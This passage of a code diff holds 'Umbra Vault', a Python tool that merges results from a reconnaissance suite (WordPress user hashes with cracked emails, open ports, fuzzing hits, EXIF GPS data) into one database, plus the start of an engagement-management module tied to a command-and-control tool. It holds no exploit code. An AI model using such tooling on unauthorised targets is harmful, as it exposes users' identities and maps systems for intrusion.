UNIQUE(domain, command, value)
|
||||
)
|
||||
""")
|
||||
|
||||
# Indexes
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)")
|
||||
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
# ─── Import Functions ─────────────────────────────────────────────────────────
|
||||
def import_wp_db(vault_conn, wp_db_path):
|
||||
"""Import from um-wp.db."""
|
||||
if not os.path.exists(wp_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(wp_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM sites").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen)
|
||||
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(domain) DO UPDATE SET
|
||||
is_wordpress = MAX(is_wordpress, excluded.is_wordpress),
|
||||
wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END,
|
||||
detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END,
|
||||
last_seen = CURRENT_TIMESTAMP
|
||||
""", (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_hash_db(vault_conn, hash_db_path):
|
||||
"""Import from um-hash.db."""
|
||||
if not os.path.exists(hash_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(hash_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||
# Ensure domain exists
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO domains (domain) VALUES (?)
|
||||
""", (r["domain"],))
|
||||
|
||||
domain_row = vault_conn.execute(
|
||||
"SELECT id FROM domains WHERE domain=?", (r["domain"],)
|
||||
).fetchone()
|
||||
domain_id = domain_row["id"] if domain_row else 0
|
||||
|
||||
vault_conn.execute("""
|
||||
INSERT INTO hashes (hash, domain_id, domain, username, display_name,
|
||||
user_id, avatar_url)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END
|
||||
""", (r["hash"], domain_id, r["domain"], r["username"],
|
||||
r["display_name"], r["user_id"], r["avatar_url"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_crack_db(vault_conn, crack_db_path):
|
||||
"""Import from um-crack.db."""
|
||||
if not os.path.exists(crack_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(crack_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall():
|
||||
vault_conn.execute("""
|
||||
UPDATE hashes SET
|
||||
cracked_email = ?,
|
||||
crack_method = ?,
|
||||
cracked_at = ?
|
||||
WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL)
|
||||
""", (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"]))
|
||||
if vault_conn.execute("SELECT changes()").fetchone()[0] == 0:
|
||||
# Hash not in vault yet, insert it
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO hashes (hash, domain, username, display_name,
|
||||
cracked_email, crack_method, cracked_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||
r["cracked_email"], r["crack_method"], r["cracked_at"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_scan_db(vault_conn, scan_db_path):
|
||||
"""Import from um-scan.db."""
|
||||
if not os.path.exists(scan_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(scan_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT INTO ports (host, port, state, service, banner, response_ms)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(host, port) DO UPDATE SET
|
||||
service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END,
|
||||
banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END
|
||||
""", (r["host"], r["port"], r["state"], r["service"],
|
||||
r["banner"], r["response_ms"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_intel_db(vault_conn, intel_db_path):
|
||||
"""Import from um-intel.db."""
|
||||
if not os.path.exists(intel_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(intel_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""", (r["target"], r["source"], r["finding_type"], r["value"], r["extra"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_api_db(vault_conn, api_db_path):
|
||||
"""Import from um-api.db."""
|
||||
if not os.path.exists(api_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(api_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM endpoints").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method,
|
||||
status_code, description)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["target"], r["url"], r["path"], r["discovery_method"],
|
||||
r["status_code"], r["description"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_fuzz_db(vault_conn, fuzz_db_path):
|
||||
"""Import from um-fuzz.db."""
|
||||
if not os.path.exists(fuzz_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(fuzz_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM results").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code,
|
||||
content_length, content_type, redirect_url)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["base_url"], r["path"], r["status_code"],
|
||||
r["content_length"], r["content_type"], r["redirect_url"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_exif_db(vault_conn, exif_db_path):
|
||||
"""Import from um-exif.db."""
|
||||
if not os.path.exists(exif_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(exif_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make,
|
||||
camera_model, datetime_original, gps_coords, artist, copyright)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||
""", (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"],
|
||||
r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_enum_db(vault_conn, enum_db_path):
|
||||
"""Import from um-enum.db."""
|
||||
if not os.path.exists(enum_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(enum_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["domain"], r["phase"], r["command"], r["value"],
|
||||
r["url"], r["status_code"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
# Map tool prefixes to import functions
|
||||
IMPORT_MAP = {
|
||||
"um-wp": import_wp_db,
|
||||
"um-hash": import_hash_db,
|
||||
"um-crack": import_crack_db,
|
||||
"um-scan": import_scan_db,
|
||||
"um-intel": import_intel_db,
|
||||
"um-api": import_api_db,
|
||||
"um-fuzz": import_fuzz_db,
|
||||
"um-exif": import_exif_db,
|
||||
"um-enum": import_enum_db,
|
||||
}
|
||||
|
||||
def detect_db_type(path):
|
||||
"""Detect which Umbra tool created a .db file."""
|
||||
basename = os.path.basename(path).lower()
|
||||
for prefix in IMPORT_MAP:
|
||||
if basename.startswith(prefix):
|
||||
return prefix
|
||||
# Try detecting by table names
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
tables = [r[0] for r in conn.execute(
|
||||
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||
).fetchall()]
|
||||
conn.close()
|
||||
if "sites" in tables and "hashes" not in tables:
|
||||
return "um-wp"
|
||||
if "hashes" in tables and "sites" in tables:
|
||||
return "um-hash"
|
||||
if "hashes" in tables and "sites" not in tables:
|
||||
return "um-crack"
|
||||
if "ports" in tables:
|
||||
return "um-scan"
|
||||
if "findings" in tables and "targets" in tables:
|
||||
# Could be intel or enum — check columns
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()]
|
||||
conn.close()
|
||||
if "source" in cols:
|
||||
return "um-intel"
|
||||
if "phase" in cols:
|
||||
return "um-enum"
|
||||
except Exception:
|
||||
pass
|
||||
if "endpoints" in tables:
|
||||
return "um-api"
|
||||
if "results" in tables:
|
||||
return "um-fuzz"
|
||||
if "images" in tables:
|
||||
return "um-exif"
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||
console = Console()
|
||||
from um_tui import UmbraTUI
|
||||
from um_ops import (create_engagement, get_engagement_db_path, list_engagements,
|
||||
generate_engagement_summary, op_log, op_log_csv, get_ops_hook)
|
||||
|
||||
MENU_ITEMS = [
|
||||
("1", "Import a tool database"),
|
||||
("2", "Import all (auto-detect)"),
|
||||
("3", "Merge from directory"),
|
||||
("4", "Dashboard / statistics"),
|
||||
("5", "Run SQL query"),
|
||||
("6", "Export table to CSV"),
|
||||
("7", "Create engagement"),
|
||||
("8", "Switch engagement"),
|
||||
("9", "Engagement summary"),
|
||||
("Q", "Quit"),
|
||||
]
|
||||
|
||||
VAULT_INFO = [
|
||||
"10-table relational schema",
|
||||
"Auto-detect DB type",
|
||||
"Import from all Umbra tools",
|
||||
"Custom SQL queries",
|
||||
"Per-table CSV export",
|
||||
]
|
||||
|
||||
def get_db_stats(conn):
|
||||
try:
|
||||
tables_counts = []
|
||||
for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints",
|
||||
"fuzz_results", "exif_data", "enum_findings"]:
|
||||
try:
|
||||
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||
if c > 0:
|
||||
tables_counts.append(f"{tbl}:{c:,}")
|
||||
except Exception:
|
||||
pass
|
||||
return " | ".join(tables_counts) if tables_counts else "Vault: empty"
|
||||
except Exception:
|
||||
return "Vault: empty"
|
||||
|
||||
def show_dashboard(conn):
|
||||
"""Show comprehensive statistics dashboard."""
|
||||
stats = {}
|
||||
|
||||
tables = {
|
||||
"domains": "Domains",
|
||||
"hashes": "Hashes",
|
||||
"ports": "Open Ports",
|
||||
"intel": "Intel Findings",
|
||||
"api_endpoints": "API Endpoints",
|
||||
"fuzz_results": "Fuzz Results",
|
||||
"exif_data": "EXIF Images",
|
||||
"enum_findings": "Enum Findings",
|
||||
"countries": "Countries",
|
||||
"organizations": "Organizations",
|
||||
}
|
||||
|
||||
for table, label in tables.items():
|
||||
try:
|
||||
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||
stats[label] = count
|
||||
except Exception:
|
||||
stats[label] = 0
|
||||
|
||||
# Main stats table
|
||||
main_table = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||
title=f"[bold {THEME_COLOR}]Umbra Vault — Master Database[/]")
|
||||
main_table.add_column("Table", style="bold", width=20)
|
||||
main_table.add_column("Records", justify="right", style="cyan", width=12)
|
||||
|
||||
for label, count in stats.items():
|
||||
style = "[green]" if count > 0 else "[dim]"
|
||||
main_table.add_row(label, f"{style}{count:,}[/]")
|
||||
|
||||
console.print(main_table)
|
||||
|
||||
# Domain breakdown
|
||||
try:
|
||||
wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0]
|
||||
total_domains = stats.get("Domains", 0)
|
||||
if total_domains:
|
||||
console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Hash breakdown
|
||||
try:
|
||||
total_hashes = stats.get("Hashes", 0)
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
if total_hashes:
|
||||
console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Top services
|
||||
try:
|
||||
top_services = conn.execute("""
|
||||
SELECT service, COUNT(*) as cnt FROM ports
|
||||
GROUP BY service ORDER BY cnt DESC LIMIT 5
|
||||
""").fetchall()
|
||||
if top_services:
|
||||
svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||
title=f"[{THEME_COLOR}]Top Services[/]")
|
||||
svc_table.add_column("Service", style="cyan")
|
||||
svc_table.add_column("Count", justify="right")
|
||||
for s in top_services:
|
||||
svc_table.add_row(s["service"], str(s["cnt"]))
|
||||
console.print(svc_table)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Top intel sources
|
||||
try:
|
||||
top_sources = conn.execute("""
|
||||
SELECT source, COUNT(*) as cnt FROM intel
|
||||
GROUP BY source ORDER BY cnt DESC LIMIT 5
|
||||
""").fetchall()
|
||||
if top_sources:
|
||||
src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||
title=f"[{THEME_COLOR}]Top Intel Sources[/]")
|
||||
src_table.add_column("Source", style="yellow")
|
||||
src_table.add_column("Count", justify="right")
|
||||
for s in top_sources:
|
||||
src_table.add_row(s["source"], str(s["cnt"]))
|
||||
console.print(src_table)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def export_table_csv(conn, table_name, output):
|
||||
"""Export a specific table to CSV."""
|
||||
try:
|
||||
cursor = conn.execute(f'SELECT * FROM "{table_name}"')
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]")
|
||||
except Exception as e:
|
||||
console.print(f"[red]Export error: {e}[/]")
|
||||
|
||||
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||
@click.group(invoke_without_command=True)
|
||||
@click.option("--db", default="um-vault.db", help="Vault database path")
|
||||
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||
@click.pass_context
|
||||
def cli(ctx, db, engagement):
|
||||
"""Umbra Vault — Master database aggregator for all Umbra tools."""
|
||||
ctx.ensure_object(dict)
|
||||
# Env var fallback
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
if engagement:
|
||||
create_engagement(engagement)
|
||||
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||
ctx.obj["db"] = db
|
||||
ctx.obj["engagement"] = engagement
|
||||
# Ops hook
|
||||
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||
ctx.obj["hook"] = hook
|
||||
if hook:
|
||||
hook.register()
|
||||
if ctx.invoked_subcommand is None:
|
||||
interactive_menu(ctx)
|
||||
|
||||
@cli.command("import")
|
||||
@click.argument("source")
|
||||
@click.option("--type", "db_type", default=None,
|
||||
help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)")
|
||||
@click.pass_context
|
||||
def import_cmd(ctx, source, db_type):
|
||||
"""Import an Umbra tool database into the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
if not db_type:
|
||||
db_type = detect_db_type(source)
|
||||
if not db_type:
|
||||
console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
if db_type not in IMPORT_MAP:
|
||||
console.print(f"[red]Unknown type: {db_type}[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, source)
|
||||
console.print(f"[green]Imported {count} records from {source} ({db_type})[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("directory")
|
||||
@click.pass_context
|
||||
def merge(ctx, directory):
|
||||
"""Merge all .db files from a directory into the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_files:
|
||||
console.print(f"[red]No .db files found in {directory}[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
total_imported = 0
|
||||
for db_path in sorted(db_files):
|
||||
if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]):
|
||||
continue # Skip vault itself
|
||||
|
||||
db_type = detect_db_type(db_path)
|
||||
if db_type and db_type in IMPORT_MAP:
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, db_path)
|
||||
console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]")
|
||||
total_imported += count
|
||||
else:
|
||||
console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]")
|
||||
|
||||
console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command("import-all")
|
||||
@click.pass_context
|
||||
def import_all(ctx):
|
||||
"""Auto-import all Umbra .db files from current directory."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
default_files = {
|
||||
"um-wp": "um-wp.db",
|
||||
"um-hash": "um-hash.db",
|
||||
"um-crack": "um-crack.db",
|
||||
"um-scan": "um-scan.db",
|
||||
"um-intel": "um-intel.db",
|
||||
"um-api": "um-api.db",
|
||||
"um-fuzz": "um-fuzz.db",
|
||||
"um-exif": "um-exif.db",
|
||||
"um-enum": "um-enum.db",
|
||||
}
|
||||
|
||||
total = 0
|
||||
for db_type, filename in default_files.items():
|
||||
if os.path.exists(filename):
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, filename)
|
||||
console.print(f"[green] {filename}: {count} records[/]")
|
||||
total += count
|
||||
else:
|
||||
console.print(f"[dim] {filename}: not found[/]")
|
||||
|
||||
console.print(f"\n[green]Total: {total} records imported[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def dashboard(ctx):
|
||||
"""Show the statistics dashboard."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("table_name")
|
||||
@click.option("-o", "--output", default=None)
|
||||
@click.pass_context
|
||||
def export(ctx, table_name, output):
|
||||
"""Export a vault table to CSV."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
if not output:
|
||||
output = f"um-vault-{table_name}.csv"
|
||||
export_table_csv(conn, table_name, output)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("sql_query")
|
||||
@click.pass_context
|
||||
def query(ctx, sql_query):
|
||||
"""Run a custom SQL query on the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
try:
|
||||
cursor = conn.execute(sql_query)
|
||||
rows = cursor.fetchall()
|
||||
if rows:
|
||||
cols = [d[0] for d in cursor.description]
|
||||
table = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||
for col in cols:
|
||||
table.add_column(col, style="cyan")
|
||||
for r in rows[:100]:
|
||||
table.add_row(*[str(v)[:50] for v in r])
|
||||
console.print(table)
|
||||
console.print(f"[dim]{len(rows)} rows[/]")
|
||||
else:
|
||||
console.print("[dim]No results.[/]")
|
||||
except Exception as e:
|
||||
console.print(f"[red]Query error: {e}[/]")
|
||||
conn.close()
|
||||
|
||||
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||
def interactive_menu(ctx):
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
def action_handler(key, tui):
|
||||
if key == "1":
|
||||
def on_source(source):
|
||||
if os.path.exists(source):
|
||||
db_type = detect_db_type(source)
|
||||
if db_type:
|
||||
tui.log(f"[*] Detected type: {db_type}")
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, source)
|
||||
tui.log(f"[+] Imported {count} records from {source}")
|
||||
else:
|
||||
tui.log(f"[!] Cannot detect database type for {source}")
|
||||
else:
|
||||
tui.log(f"[!] File not found: {source}")
|
||||
tui.prompt("Database file path", on_source)
|
||||
|
||||
elif key == "2":
|
||||
default_files = {
|
||||
"um-wp": "um-wp.db", "um-hash": "um-hash.db",
|
||||
"um-crack": "um-crack.db", "um-scan": "um-scan.db",
|
||||
"um-intel": "um-intel.db", "um-api": "um-api.db",
|
||||
"um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db",
|
||||
"um-enum": "um-enum.db",
|
||||
}
|
||||
total = 0
|
||||
for db_type, filename in default_files.items():
|
||||
if os.path.exists(filename):
|
||||
count = IMPORT_MAP[db_type](conn, filename)
|
||||
tui.log(f"[+] {filename}: {count} records")
|
||||
total += count
|
||||
else:
|
||||
tui.log(f"[-] {filename}: not found")
|
||||
tui.log(f"[*] Total imported: {total} records")
|
||||
|
||||
elif key == "3":
|
||||
def on_dir(directory):
|
||||
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_files:
|
||||
tui.log(f"[!] No .db files found in {directory}")
|
||||
return
|
||||
for db_path in db_files:
|
||||
db_type = detect_db_type(db_path)
|
||||
if db_type and db_type in IMPORT_MAP:
|
||||
count = IMPORT_MAP[db_type](conn, db_path)
|
||||
tui.log(f"[+] {os.path.basename(db_path)}: {count} records")
|
||||
else:
|
||||
tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped")
|
||||
tui.prompt("Directory path", on_dir)
|
||||
|
||||
elif key == "4":
|
||||
# Build dashboard as a Rich table for VIEW mode
|
||||
stats = {}
|
||||
tables_map = {
|
||||
"domains": "Domains", "hashes": "Hashes",
|
||||
"ports": "Open Ports", "intel": "Intel Findings",
|
||||
"api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results",
|
||||
"exif_data": "EXIF Images", "enum_findings": "Enum Findings",
|
||||
"countries": "Countries", "organizations": "Organizations",
|
||||
}
|
||||
for table, label in tables_map.items():
|
||||
try:
|
||||
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||
stats[label] = count
|
||||
except Exception:
|
||||
stats[label] = 0
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||
title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]")
|
||||
t.add_column("Table", style="bold", width=20)
|
||||
t.add_column("Records", justify="right", style="cyan", width=12)
|
||||
for label, count in stats.items():
|
||||
style = "[green]" if count > 0 else "[dim]"
|
||||
t.add_row(label, f"{style}{count:,}[/]")
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "5":
|
||||
def on_sql(sql):
|
||||
try:
|
||||
cursor = conn.execute(sql)
|
||||
rows = cursor.fetchall()
|
||||
if rows:
|
||||
cols = [d[0] for d in cursor.description]
|
||||
t = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||
for col in cols:
|
||||
t.add_column(col)
|
||||
for r in rows[:50]:
|
||||
t.add_row(*[str(v)[:40] for v in r])
|
||||
tui.log(f"[*] Query returned {len(rows)} rows")
|
||||
tui.show_table(t)
|
||||
else:
|
||||
tui.log("[-] No results.")
|
||||
except Exception as e:
|
||||
tui.log(f"[!] Query error: {e}")
|
||||
tui.prompt("SQL", on_sql)
|
||||
|
||||
elif key == "6":
|
||||
def on_table(tname):
|
||||
def on_file(out):
|
||||
export_table_csv(conn, tname, out)
|
||||
tui.log(f"[+] Exported {tname} to {out}")
|
||||
tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv")
|
||||
tui.prompt("Table name", on_table)
|
||||
|
||||
elif key == "7":
|
||||
def on_name(name):
|
||||
from um_ops import create_engagement
|
||||
eng_dir = create_engagement(name)
|
||||
tui.log(f"[+] Engagement created: {name}")
|
||||
tui.log(f" Path: {eng_dir}")
|
||||
tui.log(f" Edit scope: {eng_dir}/scope.txt")
|
||||
tui.prompt("Engagement name", on_name)
|
||||
|
||||
elif key == "8":
|
||||
engagements = list_engagements()
|
||||
if not engagements:
|
||||
tui.log("[!] No engagements found. Create one first.")
|
||||
else:
|
||||
for i, eng in enumerate(engagements, 1):
|
||||
tui.log(f" {i}) {eng}")
|
||||
def on_choice(choice):
|
||||
try:
|
||||
idx = int(choice) - 1
|
||||
if 0 <= idx < len(engagements):
|
||||
eng_name = engagements[idx]
|
||||
new_db = get_engagement_db_path(eng_name, TOOL_NAME)
|
||||
nonlocal conn
|
||||
conn.close()
|
||||
conn = init_db(new_db)
|
||||
tui.engagement = eng_name
|
||||
ctx.obj["engagement"] = eng_name
|
||||
tui.log(f"[+] Switched to engagement: {eng_name}")
|
||||
else:
|
||||
tui.log("[!] Invalid selection")
|
||||
except ValueError:
|
||||
tui.log("[!] Enter a number")
|
||||
tui.prompt("Select engagement #", on_choice)
|
||||
|
||||
elif key == "9":
|
||||
eng = ctx.obj.get("engagement")
|
||||
if not eng:
|
||||
tui.log("[!] No engagement active. Use --engagement or switch first.")
|
||||
else:
|
||||
summary = generate_engagement_summary(eng)
|
||||
tui.log(summary)
|
||||
|
||||
tui = UmbraTUI(
|
||||
tool_name=TOOL_NAME,
|
||||
version=VERSION,
|
||||
menu_items=MENU_ITEMS,
|
||||
info_items=VAULT_INFO,
|
||||
action_handler=action_handler,
|
||||
stats_fn=lambda: get_db_stats(conn),
|
||||
theme=THEME_COLOR,
|
||||
engagement=ctx.obj.get("engagement"),
|
||||
)
|
||||
tui.run()
|
||||
conn.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
@@ -0,0 +1,495 @@
|
||||
"""um_ops.py — Engagement management, scope enforcement, operational logging,
|
||||
and cross-tool import utilities for the Umbra reconnaissance suite.
|
||||
"""
|
||||
|
||||
import atexit
|
||||
import csv
|
||||
import fcntl
|
||||
import ipaddress
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from fnmatch import fnmatch
|
||||
|
||||
# ─── Paths ───────────────────────────────────────────────────────────────────
|
||||
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||
|
||||
# Sub-directories created per engagement
|
||||
ENGAGEMENT_SUBDIRS = [
|
||||
"targets", "scans", "api", "intel", "enum", "fuzz",
|
||||
"hashes", "wordpress", "cracking", "exif", "exports",
|
||||
]
|
||||
|
||||
# Tool name → engagement subdirectory mapping
|
||||
TOOL_DIR_MAP = {
|
||||
"um-scan": "scans",
|
||||
"um-api": "api",
|
||||
"um-intel": "intel",
|
||||
"um-enum": "enum",
|
||||
"um-fuzz": "fuzz",
|
||||
"um-hash": "hashes",
|
||||
"um-wp": "wordpress",
|
||||
"um-crack": "cracking",
|
||||
"um-exif": "exif",
|
||||
"um-vault": ".",
|
||||
}
|
||||
|
||||
# ─── Ops Hook Bridge ────────────────────────────────────────────────────────
|
||||
|
||||
_ops_hook_cls = None
|
||||
|
||||
def get_ops_hook(tool_name, engagement=None):
|
||||
"""Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable.
|
||||
|
||||
Registers an atexit handler to call hook.complete() on clean exit.
|
||||
"""
|
||||
global _ops_hook_cls
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
if not engagement:
|
||||
return None
|
||||
if _ops_hook_cls is None:
|
||||
try:
|
||||
c2_path = os.path.expanduser("~/tools/c2itall")
|
||||
if c2_path not in sys.path:
|
||||
sys.path.insert(0, c2_path)
|
||||
from utils.ops_hook import OpsHook
|
||||
_ops_hook_cls = OpsHook
|
||||
except ImportError:
|
||||
